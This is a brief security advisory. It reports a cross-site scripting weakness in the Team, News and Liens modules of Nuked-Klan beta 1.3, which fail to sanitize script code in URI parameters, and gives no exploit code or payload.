It has been reported that Nuked-Klan beta 1.3 is prone to cross site scripting attacks. The problem occurs in the 'Team', 'News', and 'Liens' modules which fails to sufficiently sanitize user-supplied HTML and script code located in URI parameters.

This vulnerability was reported for Nuked-Klan beta 1.3; earlier versions may also be affected.
